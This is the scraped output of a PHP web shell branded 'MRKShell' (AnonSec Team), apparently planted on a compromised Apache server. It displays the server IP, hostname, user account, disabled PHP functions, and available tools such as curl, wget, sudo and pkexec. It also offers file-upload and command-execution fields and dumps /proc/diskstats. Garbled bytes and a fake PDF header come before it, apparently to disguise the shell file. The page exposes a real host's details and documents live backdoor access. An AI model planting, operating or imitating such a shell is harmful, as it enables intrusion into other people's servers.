...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/self/root/proc/diskstats
 259       0 nvme0n1 1933918737 15663767 71892022979 234167725 384345361 310207750 83909719855 2394060158 0 380833705 2628227883 0 0 0 0
 259       1 nvme0n1p1 3582267 582350 410511010 595236 644807 8877569 78218494 15636912 0 1372068 16232149 0 0 0 0
 259       2 nvme0n1p2 55569 4058 6522208 6440 2138 4698 280984 31644 0 7129 38084 0 0 0 0
 259       3 nvme0n1p3 1930271022 15077359 71474776505 233564711 359523263 301325483 83831220377 2312788479 0 370072735 2546353191 0 0 0 0
 259       4 nvme1n1 281174232 14731297 18971099979 85537782 384166641 310386470 83909719855 2485766781 0 300243036 2571304563 0 0 0 0
 259       5 nvme1n1p1 3035686 388317 404541202 286228 643046 8879330 78218494 18844989 0 1486441 19131218 0 0 0 0
 259       6 nvme1n1p2 49562 4058 6386662 8317 2138 4698 280984 56071 0 7761 64389 0 0 0 0
 259       7 nvme1n1p3 278079028 14338922 18559959907 85238257 359346304 301502442 83831220377 2401298957 0 283825641 2486537215 0 0 0 0
   9       1 md1 14237 0 342386 8136 6360 0 280508 71676 0 3397 79812 0 0 0 0
   9       0 md0 1301954 0 10543520 711682 9463434 0 78159552 1749782725 0 2985757 1750494407 0 0 0 0
   9       2 md2 2086828886 0 70714891090 385969184 636705149 0 83738704008 2089521482 0 419954943 2475490666 0 0 0 0

Anon7 - 2022
AnonSec Team